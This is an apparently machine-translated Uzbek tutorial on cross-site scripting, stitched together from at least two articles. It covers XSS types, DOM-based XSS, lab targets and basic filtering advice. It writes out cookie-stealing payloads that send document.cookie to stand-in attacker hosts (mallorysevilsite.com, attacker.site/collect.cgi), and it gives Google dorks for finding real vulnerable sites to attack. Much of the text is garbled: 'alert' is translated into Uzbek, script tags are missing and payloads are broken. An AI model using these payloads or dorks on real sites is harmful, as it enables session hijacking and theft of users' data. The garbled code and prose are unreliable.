uy - Internetni sozlash
XSS zaifligi nima? Oson Hack: Saytlararo skript orqali ma'lumotlarni qanday chiqarish mumkin Ma'lumotlarni kiritish maydonlari orqali zararli kodni kiritish
  • 1. XSS nima
  • 2. XSS turlari
  • 3.DOM asosidagi XSS ning xususiyatlari
  • 4.XSS auditori
  • 5.XSS ekspluatatsiyasiga misollar
  • 6.XSS uchun zaif bo'lgan saytlarni qidiring
  • 7.XSS zaifliklarini qidirish va skanerlash dasturlari
XSS nima

Saytlararo skript (XSS) - bu boshqa foydalanuvchilar ko'rayotgan veb-sahifaga mijoz tomoni kodini (JavaScript) kiritishni o'z ichiga olgan zaiflik.

Zaiflik foydalanuvchi veb-sahifaga kiritish uchun taqdim etgan ma'lumotlarning filtrlashning etarli darajada o'tkazilmagani bilan bog'liq. Tushunish ancha oson aniq misol. Har qanday mehmon kitobini eslang - bular foydalanuvchi ma'lumotlarini qabul qilish va keyin uni ko'rsatish uchun mo'ljallangan dasturlar. Tasavvur qilaylik, mehmonlar kitobi kiritilgan ma'lumotlarni hech qanday tarzda tekshirmaydi yoki filtrlamaydi, balki ularni shunchaki ko'rsatadi.

Siz o'zingizning eng oddiy skriptingizni chizishingiz mumkin (PHP da yomon skriptlarni yozishdan oson narsa yo'q - ko'pchilik buni qiladi). Ammo allaqachon ko'plab tayyor variantlar mavjud. Misol uchun, men Dojo va OWASP Mutillidae II bilan boshlashni taklif qilaman. U erda shunga o'xshash misol bor. Mustaqil Dojo muhitida brauzeringizdagi ushbu havolaga o'ting: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Agar foydalanuvchilardan biri kiritgan bo'lsa:

Salom! Ishlaringiz qalay.

Keyin veb-sahifa ko'rsatiladi:

Salom! Ishlaringiz qalay.

Va agar foydalanuvchi buni kiritsa:

Salom! Ishlaringiz qalay. ogohlantirish ("Pwned")

Keyin u quyidagicha ko'rsatiladi:

Brauzerlar ko'p sonli saytlar uchun bir nechta Cookie fayllarini saqlaydi. Har bir sayt faqat o'zi tomonidan saqlangan cookie-fayllarni qabul qilishi mumkin. Misol uchun, example.com brauzeringizda ba'zi cookie-fayllarni saqlagan. Agar siz another.com saytiga tashrif buyursangiz, ushbu sayt (mijoz va server skriptlari) example.com saqlagan cookie-fayllarga kira olmaydi.

Agar example.com XSS uchun zaif bo'lsa, demak, biz qandaydir tarzda unga JavaScript kodini kiritishimiz mumkin va bu kod example.com nomidan bajariladi! Bular. Bu kod, masalan, example.com cookie-fayllariga kirish imkonini beradi.

O'ylaymanki, hamma JavaScript-ni foydalanuvchi brauzerlarida bajarilganini eslaydi, ya'ni. XSS mavjudligida, o'rnatilgan zararli kod veb-sayt sahifasini ochgan foydalanuvchining ma'lumotlariga kirish huquqiga ega bo'ladi.

O'rnatilgan kod JavaScript qila oladigan hamma narsani qila oladi, xususan:

  • siz ko'rayotgan veb-saytning cookie fayllariga kirish huquqiga ega bo'ladi
  • ga har qanday o‘zgartirish kiritishi mumkin tashqi ko'rinish sahifalar
  • almashish buferiga kiradi
  • JavaScript dasturlarini amalga oshirishi mumkin, masalan, keyloggerlar (klavishlarni bosish vositalari)
  • BeEF-da oling

Cookie-fayllarga eng oddiy misol:

ogohlantirish (document.cookie)

Aslida, ogohlantirish faqat XSSni aniqlash uchun ishlatiladi. Haqiqiy zararli foydali yuk yashirin harakatlarni amalga oshiradi. U tajovuzkorning uzoq serveri bilan yashirincha bog'lanadi va o'g'irlangan ma'lumotlarni unga uzatadi.

XSS turlari

XSS turlarini tushunish uchun eng muhim narsa shundaki, ular:

  • Saqlangan (doimiy)
  • O'ylangan (o'zgaruvchan)

Konstantalarga misol:

  • Serverda saqlanadigan mehmonlar kitobiga (sharh, forum xabari, profil) tajovuzkor tomonidan kiritilgan maxsus tayyorlangan xabar har safar foydalanuvchilar ushbu sahifani ko'rsatishni so'raganda serverdan yuklab olinadi.
  • Buzg'unchi server ma'lumotlariga, masalan, SQL in'ektsiyasi orqali kirish huquqiga ega bo'ldi va foydalanuvchiga berilgan ma'lumotlarga zararli JavaScript kodini (kilologgerlar yoki BeEF bilan) kiritdi.

Doimiy bo'lmaganlarga misol:

  • Saytda qidiruv natijalari bilan bir qatorda “Siz qidirganingiz: [qidiruv qatori]” kabi bir narsani ko'rsatadigan qidiruv mavjud va ma'lumotlar to'g'ri filtrlanmagan. Bunday sahifa faqat unga havolasi bo'lgan shaxsga ko'rsatilganligi sababli, hujumchi saytning boshqa foydalanuvchilariga havolani yubormaguncha, hujum ishlamaydi. Jabrlanuvchiga havola yuborish o'rniga, qurbon tashrif buyuradigan neytral saytga zararli skriptni joylashtirishdan foydalanishingiz mumkin.

Ular, shuningdek, (ba'zilari doimiy bo'lmagan XSS zaifliklarining bir turi sifatida, ba'zilari esa bu tur doimiy XSS turi bo'lishi mumkinligini aytadilar):

  • DOM modellari
DOM-ga asoslangan XSS xususiyatlari

Oddiy qilib aytganda, agar biz HTML kodini ochsak, "muntazam" doimiy bo'lmagan XSS ning zararli kodini ko'rishimiz mumkin. Masalan, havola quyidagicha tuzilgan:

Http://example.com/search.php?q="/>ogohlantirish(1)

Va biz manba HTML kodini ochganimizda, biz shunga o'xshash narsani ko'ramiz:

< div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >ogohlantirish (1)" />< button type = "submit" class = "ui-button" >Toping

Va DOM XSS brauzerda hosil bo'lgan DOM strukturasini tezda o'zgartiradi va biz faqat yaratilgan DOM strukturasini ko'rishda zararli kodni ko'rishimiz mumkin. HTML o'zgarmaydi. Misol tariqasida ushbu kodni olaylik:

< html > < head > < title >veb-sayt:::DOM XSS< meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > < body > < div id = "default" >Xatolik yuz berdi...< script >Function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash.match(".*input=token(" + r4c + ");") agar (natijalar) ( document.getElementById("default").innerHTML = ""; return (unescape(natijalar)); ) else ( return null; ) ) display_session = OnLoad(); document.write("Seans identifikatoringiz: " + display_session + "< br >< br >")

Keyin brauzerda biz ko'ramiz:

Sahifa manba kodi:

Keling, manzilni quyidagicha shakllantiramiz:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Endi sahifa quyidagicha ko'rinadi:

Ammo ko'rib chiqaylik manba kodi HTML:

U erda umuman hech narsa o'zgarmadi. Men bu haqda gapirgan edim, zararli kodni aniqlash uchun hujjatning DOM tuzilishiga qarashimiz kerak:

Mana, ishlaydigan XSS prototipi, haqiqiy hujum uchun bizga murakkabroq foydali yuk kerak, chunki dastur nuqta-verguldan keyin darhol o'qishni to'xtatib qo'yishi mumkin emas va alert(1);alert(2) yo'q. uzoqroq mumkin. Biroq, unescape() tufayli biz qaytish ma'lumotlarida shunday foydali yukdan foydalanishimiz mumkin:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Belgini almashtirgan joy; URI-kodlangan ekvivalentga!

Endi biz zararli JavaScript yukini yozishimiz va jabrlanuvchiga yuborish uchun havola yaratishimiz mumkin, xuddi standart doimiy bo'lmagan saytlararo skriptlar uchun qilinganidek.

XSS auditor

IN Gugl xrom(shuningdek, hozir Google Chrome dvigatelidan foydalanadigan Operada) meni bu ajablanib kutdi:

dom_xss.html:30 XSS Auditori 'http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);' da skriptni bajarishdan bosh tortdi, chunki uning manba kodi so'rov ichida topilgan. . Auditor ishga tushirildi, chunki server na “X-XSS-Himoya”, na “Content-Security-Policy” sarlavhasini yubormagan.

Bular. brauzerda endi XSS auditori mavjud bo'lib, u XSSni oldini olishga harakat qiladi. Firefox-da bu funksiya hali mavjud emas, lekin menimcha, bu vaqt masalasidir. Agar brauzerlarda amalga oshirish muvaffaqiyatli bo'lsa, biz XSS-dan foydalanishda sezilarli qiyinchilik haqida gapirishimiz mumkin.

Shuni yodda tutish kerakki, zamonaviy brauzerlar doimiy bo'lmagan XSS va DOM-ga asoslangan XSS kabi ekspluatatsion muammolar darajasini cheklash choralarini ko'rmoqda. Bu, shuningdek, veb-saytlarni brauzer yordamida sinab ko'rishda eslash kerak bo'lgan narsa - veb-ilova zaif ekanligi aniq bo'lishi mumkin, ammo siz qalqib chiquvchi tasdiqni ko'rmaysiz, chunki brauzer uni bloklaydi.

XSS ekspluatatsiyasiga misollar

Saytlararo skriptning zaifliklaridan foydalanishni niyat qilgan tajovuzkorlar har bir zaiflik sinfiga boshqacha yondashishlari kerak. Har bir sinf uchun hujum vektorlari bu erda tasvirlangan.

XSS zaifliklari uchun hujumlar BeEF-dan foydalanishi mumkin, bu hujumni veb-saytdan foydalanuvchilarning mahalliy muhitiga kengaytiradi.

Doimiy bo'lmagan XSS hujumiga misol

1. Elis tez-tez Bob tomonidan joylashtirilgan ma'lum bir veb-saytga tashrif buyuradi. Bobning veb-sayti Elisga foydalanuvchi nomi/parol bilan kirish va to'lov ma'lumotlari kabi nozik ma'lumotlarni saqlash imkonini beradi. Foydalanuvchi tizimga kirganda, brauzer avtorizatsiya cookie-fayllarini saqlaydi, ular ma'nosiz belgilarga o'xshaydi, ya'ni. ikkala kompyuter (mijoz va server) u kirganini eslaydi.

2. Mallory Bobning veb-saytida doimiy bo'lmagan XSS zaifligi borligini ta'kidlaydi:

2.1 Qidiruv sahifasiga tashrif buyurganingizda, qidiruv satrini kiriting va "yuborish" tugmasini bosing, agar natijalar topilmasa, sahifada kiritilgan qidiruv qatori va undan keyin "topilmadi" so'zlari ko'rsatiladi va url http://bobssite kabi ko'rinadi. .org?q= uni qidiruv so'rovi

2.2 "Itlar" so'zi kabi oddiy qidiruv so'rovi bilan sahifada "hech qanday it topilmadi" va http://bobssite.org?q=dogs url ko'rsatiladi, bu mutlaqo normal harakatdir.

2.3 Biroq, anomal qidiruv so'rovi alert('xss'); :

2.3.1 Ogohlantirish xabari ("xss" deb yozilgan) paydo bo'ladi.

2.3.2 Sahifada alert(‘xss’) ko‘rsatiladi; "xss" matnli xato xabari bilan birga topilmadi.

2.3.3 Foydalanish uchun mos url http://bobssite.org?q=alert('xss');

3. Mallory zaiflikdan foydalanish uchun URL manzilini yaratadi:

3.1 U http://bobssite.org?q=puppies URL manzilini yaratadi. U ASCII belgilarini http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E kabi o'n oltilik formatga aylantirishni tanlashi mumkin. odamlarning zararli URL manzilini darhol shifrlashiga yo'l qo'ymaslik uchun.

3.2 U Bob saytining ba'zi bexabar a'zolariga elektron pochta orqali "Salqin itlarni tekshirib ko'ring" deb yozadi.

4. Elis xat oladi. U itlarni yaxshi ko'radi va havolani bosadi. U qidiruvda Bobning saytiga kiradi, u hech narsa topa olmaydi, u erda "it topilmadi" ko'rsatiladi va o'rtada skriptli teg ishga tushiriladi (u ekranda ko'rinmaydi), Malory'ni yuklab oladi va bajaradi. authstealer.js dasturi (XSS hujumini tetiklash). Elis bu haqda unutadi.

5. Authstealer.js dasturi Alice brauzerida xuddi Bobning veb-saytidan olingandek ishlaydi. U Elisning avtorizatsiya cookie-fayllarining nusxasini oladi va ularni Malory serveriga yuboradi, u erda Malori ularni oladi.

7. Endi Malori ichkarida, u veb-saytning to'lov bo'limiga kiradi, raqamning nusxasini ko'radi va o'g'irlaydi. kredit kartasi Elis. Keyin u borib parolni o'zgartiradi, ya'ni. Endi Elis boshqa kira olmaydi.

8. U keyingi qadamni qo'yishga qaror qiladi va shu tarzda tuzilgan havolani Bobning o'ziga yuboradi va shu tariqa qabul qiladi. ma'muriy imtiyozlar Bobning sayti.

Doimiy XSS hujumi

  • Mallory Bobning veb-saytida akkauntga ega.
  • Mallory Bobning veb-saytida doimiy XSS zaifligi mavjudligini payqadi. Agar siz yangi bo'limga o'tsangiz va sharh yozsangiz, unda nima yozilgan bo'lsa, u ko'rsatiladi. Ammo agar sharh matnida HTML teglar bo'lsa, bu teglar avvalgidek ko'rsatiladi va har qanday skript teglari bajariladi.
  • Mallory “Yangiliklar” bo‘limidagi maqolani o‘qiydi va “Izohlar” bo‘limida sharh yozadi. Izohda u matnni kiritadi:
  • Menga bu hikoyadagi itlar juda yoqdi. Ular juda yoqimli!
  • Elis (yoki boshqa birov) ushbu sharh bilan sahifani yuklaganida, Maloryning skript yorlig'i ishlaydi va Elisning avtorizatsiya cookie-faylini o'g'irlaydi va uni to'plash uchun Maloryning maxfiy serveriga yuboradi.
  • Mallori endi Elisning sessiyasini o'g'irlashi va Elisning o'zini namoyon qilishi mumkin.
  • XSS uchun zaif bo'lgan saytlarni topish

    XSS uchun Dorks

    Birinchi qadam, biz XSS hujumlarini amalga oshiradigan saytlarni tanlashdir. Saytlarni Google dorks yordamida qidirish mumkin. Mana, Google qidiruviga nusxa ko'chirishingiz va joylashtirishingiz mumkin bo'lgan bir nechta ahmoqlar:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    Oldimizda saytlar ro'yxati ochiladi. Siz saytni ochishingiz va undagi kiritish maydonlarini topishingiz kerak, masalan, fikr-mulohaza shakli, kiritish shakli, sayt qidirish va h.k.

    Darhol ta'kidlashim kerakki, mashhur avtomatik yangilanadigan veb-ilovalarda zaifliklarni izlash deyarli foydasiz. Bunday dasturning klassik namunasi WordPressdir. Darhaqiqat, WordPress-da va ayniqsa uning plaginlarida zaifliklar mavjud. Bundan tashqari, WordPress dvigatelini (veb-master manba kodiga ba'zi o'zgarishlar kiritganligi sababli) yoki ularning plaginlari va mavzularini (qoida tariqasida, bu pirat plaginlar va mavzular) yangilamaydigan ko'plab saytlar mavjud. Ammo agar siz ushbu bo'limni o'qib, undan yangi narsalarni o'rgansangiz, WordPress hali siz uchun emas... Biz unga keyinroq qaytamiz.

    Eng yaxshi maqsadlar turli xil o'z-o'zidan yozilgan dvigatellar va skriptlardir.

    sifatida kiritish yukini tanlashingiz mumkin

    ogohlantirish (1)

    O'rnatilgan kodingiz qaysi HTML kod teglariga tegishli ekanligiga e'tibor bering. Bu erda odatiy kiritish maydoniga misol

    < input type = "text" class = "ui-input query" name = "q" value = "yostiq jild" />< script >ogohlantirish (1)< input value = "" />

    Bizning yukimiz "yostiqcha" so'zi hozir bo'lgan joyda tugaydi. Bular. kirish tegining qiymatiga aylantiring. Buning oldini olish uchun qo'sh qo'shtirnoqni, so'ngra tegni "/> bilan yopish mumkin

    "/>ogohlantirish(1)

    XSS zaifliklarini qidirish va skanerlash uchun dasturlar

    Ehtimol, barcha veb-ilovalar skanerlarida o'rnatilgan XSS zaiflik skaneri mavjud. Ushbu mavzu keng qamrovli emas, har bir shunga o'xshash skaner bilan alohida tanishish yaxshiroqdir.

    XSS zaifliklarini skanerlash uchun maxsus vositalar ham mavjud. Ular orasida biz alohida ta'kidlashimiz mumkin:

    • XSSer nafaqat kuchli skaner foydalanishni kim biladi turli usullar filtrlashni amalga oshirish va chetlab o'tish, shuningdek, XSS uchun zaif bo'lgan saytlarni qidirish uchun avtomatlashtirilgan vositadir (do'stlar tomonidan). Zaifliklar topilgan saytlar uchun u haqiqiy hujum uchun foydali yukni kiritishi mumkin;
    • XssPy, shuningdek, saytning barcha sahifalarini (shu jumladan subdomenlardagi sahifalarni) topishi va ushbu sahifalardagi barcha kiritish elementlarini tekshirishi mumkin bo'lgan juda mustaqil vositadir;
    • BruteXSS - bu vositaning ijobiy xususiyati noto'g'ri pozitivlarni to'liq chiqarib tashlashdir.
    XSS sinovlari uchun zaif veb-ilovalar

    Ko'pgina zaif veb-ilovalar to'plami (ba'zi yuqori darajada ixtisoslashganlaridan tashqari) XSS uchun zaif bo'lgan saytlarni o'z ichiga oladi. Eng eng yaxshi variant sinov uchun ko'plab ilovalarni to'plagan Dojo oflayn o'quv muhitida ulardan foydalanish hisoblanadi. Masalan, siz XSS-ni aniqlash va undan foydalanish bo'yicha ko'nikmalaringizni quyidagi yo'llar bilan o'rgatishingiz mumkin:

    La'nati zaif veb-ilova (DVWA):

    • http://localhost/dvwa/vulnerabilities/xss_r/ (doimiy bo'lmagan XSS)
    • http://localhost/dvwa/vulnerabilities/xss_s/ (saqlangan XSS)

    Mutillidae/NOWASP (ko'p turli xil XSS o'zgarishlari)

    • http://localhost/mutillidae/

    Saytlararo skriptlardan foydalanish java skripti- eng mashhur hujum turi. Ushbu materialda biz sizga java skriptidan foydalanishda yuzaga kelishi mumkin bo'lgan muammolar va o'zingizni XSS hujumlaridan qanday himoya qilish haqida gapirib beramiz.

    XSS hujumi nima?

    XSS - Internet-resurs foydalanuvchilariga hujumning bir turi bo'lib, uning maqsadi ma'muriy qismga va boshqa imkoniyatga ega bo'lgan foydalanuvchilarga kirish uchun sayt ma'murlarining autentifikatsiya ma'lumotlarini o'g'irlashdir. shaxsiy kirish resursning yopiq qismlariga.

    Ushbu hujumlar nafaqat saytni buzish, balki o'g'irlash uchun ham amalga oshirilishi mumkin:

    • Uchinchi tomon resurslariga kirish uchun hisob ma'lumotlari;
    • bank kartalari raqamlari;
    • Elektron hamyonga kirish uchun ma'lumotlar;
    • Aloqa tafsilotlari;
    • Boshqa foydalanuvchi maxfiy ma'lumotlari.
    XSS hujum vektorlari

    Ushbu turdagi hujum ikki yo'nalishga ega:

    Faol - tajovuzkor Internet-resurs filtridagi zaifliklarni topishga harakat qilganda hujum turi. orqali ma'lum kombinatsiya belgilar va teglar, xaker resurs tushunadigan va buyruqni bajaradigan so'rovni yaratadi. Xavfsizlik tizimida zaiflik topilgach, so'rovga zararli kod kiritiladi, bu, masalan, barcha cookie-fayllarni xaker uchun qulay joyga yuboradi.

    Passiv - hujum sub'ektining aralashuvini o'z ichiga oladi. G'oya foydalanuvchini amalga oshirish uchun zararli havolaga amal qilishga majbur qilishdir zararli kod. Ushbu hujumlarni amalga oshirish qiyin, chunki ular tajovuzkordan mukammal texnik bilim va psixologiyani yaxshi bilishni talab qiladi.

    Xavfsizlik qoidalari

    XSS hujumi qurboni bo'lmaslik uchun siz quyidagi xavfsizlik qoidalariga rioya qilishingiz kerak:

  • Ishlab chiquvchilar uchun asosiy qoida - har qanday filtrdan foydalanish.
  • Barcha o'rnatilgan tuzilmalarni filtrlang.
  • Shifrlash. Filtrni yaratishda, hujumlarni kodlash xavfini hisobga olishni unutmang. Ko'pgina kodlash dasturlari mavjud bo'lib, ular yordamida siz har qanday hujumni bitta filtr "ko'rmasligi" uchun shifrlashingiz mumkin. Shunday qilib, so'rov kodini bajarishdan oldin filtrda shifrni hal qilishni qo'llang.
  • Teglarni qo'llash. URL, bb, img teglari bilan bog'liq bitta zaiflik mavjud bo'lib, ular juda ko'p parametrlarga ega, jumladan, lowsrc va dynsrc, javacsriptni o'z ichiga oladi. Ushbu teglar filtrlanishi kerak. Agar siz resursingizda tasvirlardan foydalanmasangiz, ularni butunlay o'chirib qo'ying.
  • Amaldagi filtr turli mumkin bo'lgan belgilar birikmalarini hisobga olishi kerak. Qanchalik ko'p bo'lsa, shuncha yaxshi.
  • Xulosa

    Statistik ma'lumotlarga ko'ra, Internet-resurslarning 84 foizi XSS hujumlaridan yaxshi himoyalangan. Qolgan 16% esa ularga samarali qarshilik ko'rsata olmaydi. Ushbu qo'pol kamchilikni bartaraf etish sayt egalaridan xavfsizlikka qo'shimcha sarmoya kiritishni talab qiladi, ularning aksariyati bunga tayyor emas. Biroq, shaxsiy ma'lumotlarning shikastlanishi, sizib chiqishi va oshkor etilishi bilan bog'liq qonunchilikni kuchaytirish vijdonsiz egalarni o'z saytlari xavfsizligini yaxshilashga tobora ko'proq majbur qilmoqda.

    Ori Segal

    Xakerlar saytlararo skript hujumlaridan qanday foydalanishi, ular nimaga zarar etkazishi (va yo'qligi), ularni qanday aniqlash va veb-saytingiz va unga tashrif buyuruvchilarni ushbu zararli maxfiylik va xavfsizlik buzilishidan qanday himoya qilishni bilib oling.

    Saytlararo skript (yoki qisqacha XSS) xakerlar veb-ilovalarni buzish uchun foydalanadigan eng keng tarqalgan dastur darajasidagi hujumlardan biridir. XSS - bu ma'lum bir veb-sayt mijozlarining shaxsiy hayotiga hujum. Mijoz ma'lumotlari o'g'irlanganda va kelajakda qandaydir maqsadlarda foydalanilganda, bu xavfsizlik tizimining to'liq yo'q qilinishiga olib kelishi mumkin. Ko'pgina hujumlar ikki tomonni o'z ichiga oladi: tajovuzkor va veb-sayt yoki tajovuzkor va qurbon mijoz. Biroq, XSS hujumi uchta tomonni o'z ichiga oladi: tajovuzkor, mijoz va veb-sayt.

    XSS hujumining maqsadi mijozning kompyuteridan cookie yoki boshqa cookie-fayllarni o'g'irlashdir. maxfiy ma'lumotlar, bu veb-saytdagi mijozni aniqlay oladi. Uni qonuniy foydalanuvchi sifatida aniqlash uchun ma'lumotlarga ega bo'lgan tajovuzkor saytda bunday foydalanuvchi sifatida harakat qilishi mumkin, ya'ni. o'zini unga ko'rsat. Misol uchun, yirik kompaniyada o'tkazilgan bitta auditda XSS hujumi yordamida foydalanuvchining shaxsiy ma'lumotlari va kredit karta raqamini olish mumkin edi. Bunga yugurish orqali erishildi maxsus kod JavaScript-da. Ushbu kod veb-saytga kirish huquqiga ega bo'lgan jabrlanuvchi (mijoz) brauzerida bajarilgan. JavaScript imtiyozlarining juda cheklangan soni mavjud bo'lib, ular skriptga saytga tegishli ma'lumotlardan boshqa hech narsaga kirish huquqini bermaydi. Shuni ta'kidlash kerakki, zaiflik veb-saytda mavjud bo'lsa-da, veb-saytning o'zi bevosita zarar ko'rmaydi. Ammo bu skriptni yig'ish uchun etarli kukilar va ularni hujumchiga yubordi. Natijada, tajovuzkor kerakli ma'lumotlarni oladi va jabrlanuvchiga taqlid qilishi mumkin.

    Hujum qilingan saytni quyidagicha nomlaymiz: www.vulnerable.site. An'anaviy XSS hujumi zaif veb-saytda joylashgan zaif skriptga tayanadi. Ushbu skript HTTP so'rovining bir qismini (odatda parametrlar, lekin ba'zan HTTP sarlavhalari yoki yo'lini) o'qiydi va javob sahifasi uchun uni hammasi yoki faqat bir qismi uchun takrorlaydi. Bu so'rovni tozalamaydi (ya'ni, so'rovda JavaScript kodi yoki HTML teglari mavjud emasligini tekshirmaydi). Aytaylik, bu skript Welcome.cgi deb nomlanadi va uning parametri nomdir. U shunday ishlatilishi mumkin:

    Buni qanday suiiste'mol qilish mumkin? Buzg'unchi mijozni (jabrlanuvchini) tajovuzkor ularga taqdim etgan havolani bosishga jalb qila olishi kerak. Bu jabrlanuvchining veb-brauzerini veb-saytga (www.vulnerable.site) kirishiga va zaif skriptni bajarishiga olib keladigan ehtiyotkorlik bilan va zararli tarzda yaratilgan havola. Ushbu skript uchun ma'lumotlar mijozning www.vulnerable.site sayti uchun brauzerida saqlangan cookie-fayllarga kirish uchun JavaScript kodini o'z ichiga oladi. Bunga ruxsat berilgan, chunki mijozning brauzeri JavaScript kodi www.vulnerable.site dan keladi deb "o'ylaydi". Va JavaScript xavfsizlik modeli ma'lum bir saytdan olingan skriptlarga ushbu saytga tegishli cookie-fayllarga kirish imkonini beradi.

    Zaif saytning javobi quyidagicha bo'ladi:

    Xush kelibsiz! Salom alert(document.cookie)

    Tizimimizga xush kelibsiz...

    Jabrlanuvchi mijozning brauzeri ushbu so'rovni JavaScript kodining bir qismini o'z ichiga olgan HTML sahifasi sifatida izohlaydi. Ushbu kod bajarilganda www.vulnerable.site saytiga tegishli barcha cookie-fayllarga kirish huquqiga ega bo'ladi. Natijada, u brauzerda www.vulnerable.site bilan bog'liq bo'lgan mijozning barcha cookie fayllarini ko'rsatadigan qalqib chiquvchi oynani keltirib chiqaradi.

    Albatta, haqiqiy hujum bu fayllarni tajovuzkorga yuborishni o'z ichiga oladi. Buning uchun tajovuzkor veb-sayt (www.attacker.site) yaratishi va cookie-fayllarni olish uchun skriptdan foydalanishi mumkin. Qalqib chiquvchi oynaga qo'ng'iroq qilish o'rniga, tajovuzkor www.attacker.site URL manziliga kiradigan kod yozadi. Shu munosabat bilan cookie-fayllarni olish uchun skript bajariladi. Ushbu skript uchun parametr o'g'irlangan cookie fayllari. Shunday qilib, tajovuzkor www.attacker.site serveridan cookie-fayllarni olishi mumkin.

    Ushbu sahifani yuklagandan so'ng darhol brauzer u yerga kiritilgan JavaScript kodini ishga tushiradi va so'rovni www.attacker.site dagi collect.cgi skriptiga hamda brauzerda mavjud bo'lgan www.vulnerable.site cookie-fayllari qiymatiga yo'naltiradi. Bu mijozda mavjud bo'lgan www.vulnerable.site cookie-fayllarining xavfsizligini buzadi. Bu tajovuzkorga o'zini qurbon bo'lgandek ko'rsatishga imkon beradi. Mijozning maxfiyligi to'liq buziladi.

    Eslatma.
    Odatda, JavaScript yordamida qalqib chiquvchi oynaga qo'ng'iroq qilish saytning XSS hujumiga nisbatan zaifligini ko'rsatish uchun etarli. Agar siz JavaScript-dan Alert funksiyasiga qo'ng'iroq qila olsangiz, odatda qo'ng'iroq muvaffaqiyatsiz bo'lishiga hech qanday sabab yo'q. Shuning uchun XSS hujumlarining aksariyat misollarida Alert funksiyasidan foydalaniladi, bu esa hujumning muvaffaqiyatini aniqlashni juda oson qiladi.

    Hujum faqat jabrlanuvchining saytga kirish uchun ishlatiladigan brauzerida sodir bo'lishi mumkin (www.vulnerable.site). Buzg'unchi mijozni zararli havolaga kirishga majbur qilishi kerak. Bunga bir necha usul bilan erishish mumkin.

    • Buzg'unchi brauzerni havolani ochishga undaydigan HTML sahifasi bo'lgan elektron pochta xabarini yuboradi. Buning uchun jabrlanuvchi mijozdan foydalanishi kerak Elektron pochta, HTML bilan ishlashga qodir. Mijozdagi HTML ko'ruvchisi esa www.vulnerable.site saytiga kirish uchun ishlatiladigan brauzer bo'lishi kerak.
    • Mijoz tajovuzkor tomonidan yaratilgan saytga tashrif buyuradi, bu erda rasm yoki boshqa bosiladigan HTML elementiga havola brauzerni havolani ochishiga olib keladi. Shunga qaramay, bu holda, ushbu saytga va www.vulnerable.site saytiga kirish uchun bir xil brauzerdan foydalanish shart.

    Zararli JavaScript kodi quyidagi ma'lumotlardan istalganiga kirishi mumkin:

    • brauzer tomonidan saqlanadigan doimiy cookie-fayllar (www.vulnerable.site saytining);
    • cookie fayllari tasodifiy kirish xotirasi(www.vulnerable.site sayti), ular faqat www.vulnerable.site saytini ko'rishda brauzer nusxasi tomonidan qo'llab-quvvatlanadi;
    • www.vulnerable.site sayti uchun ochilgan boshqa oynalarning nomlari.
    • joriy orqali mavjud bo'lgan har qanday ma'lumot DOM modeli(qiymatlardan, HTML kodidan va boshqalardan).

    Identifikatsiya, avtorizatsiya va autentifikatsiya ma'lumotlari odatda cookie fayllari shaklida saqlanadi. Agar bu cookie-fayllar doimiy bo'lsa, jabrlanuvchi hatto www.vulnerable.site saytiga kirishda brauzerdan foydalanmayotganda ham hujumga moyil bo'ladi. Biroq, agar cookie-fayllar vaqtinchalik bo'lsa (masalan, ular RAMda saqlanadi), u holda mijoz tomonida www.vulnerable.site sayti bilan sessiya bo'lishi kerak.

    Identifikatsiya yorlig'ining yana bir mumkin bo'lgan amalga oshirilishi URL parametridir. Bunday hollarda siz JavaScript-dan foydalanib boshqa oynalarga quyidagi tarzda kirishingiz mumkin (kerakli URL parametrlari bilan sahifa nomi foobar deb faraz qilinsa):

    var qurbon_window=open(","foobar");alert("Kirish mumkin:

    " +victim_window.location.search)

    JavaScript skriptini ishga tushirish uchun siz dan boshqa ko'plab HTML teglaridan foydalanishingiz mumkin. Aslida, zararli JavaScript kodini boshqa serverga joylashtirish va keyin mijozni skriptni yuklab olish va uni bajarish uchun aldash ham mumkin. Agar siz katta hajmdagi kodni ishga tushirishingiz kerak bo'lsa yoki kodda maxsus belgilar mavjud bo'lsa, bu foydali bo'lishi mumkin.

    Mana bu imkoniyatlarning ba'zi o'zgarishlari.

    • Buning o'rniga... xakerlar . Bu HTML tegini filtrlaydigan saytlar uchun javob beradi.
    • Buning o'rniga ... qurilishdan foydalanishingiz mumkin. Bu JavaScript kodi juda uzun bo'lsa yoki unda noqonuniy belgilar mavjud bo'lsa yaxshi bo'ladi.

    Ba'zan javoblar sahifasiga kiritilgan ma'lumotlar pulli HTML kontekstida bo'ladi. Bunday holda, avval siz erkin kontekstga "qochib ketishingiz", keyin esa XSS hujumini amalga oshirishingiz kerak. Misol uchun, agar ma'lumotlar HTML forma maydoni uchun standart qiymat sifatida kiritilsa:

    Va natijada HTML kodi quyidagicha bo'ladi:

    oyna.ochiq

    ("http://www.attacker.site/collect.cgi?cookie="+document.cookie)">

    Hozirgacha parametrda XSS hujumi sodir bo'lishi mumkinligini ko'rdik GET so'rovi, skript javob beradi. Ammo hujum POST so'rovi yoki HTTP so'rov yo'li komponenti va hatto ba'zi HTTP sarlavhalari (masalan, Referer) yordamida ham amalga oshirilishi mumkin.

    Xususan, xato sahifasi noto'g'ri yo'lni qaytarganda, yo'l komponenti foydalidir. Bunday holda, yoqish zararli skript yo'lda ko'pincha uni amalga oshirishga olib keladi. Ko'pgina veb-serverlar ushbu hujumga qarshi himoyasiz.

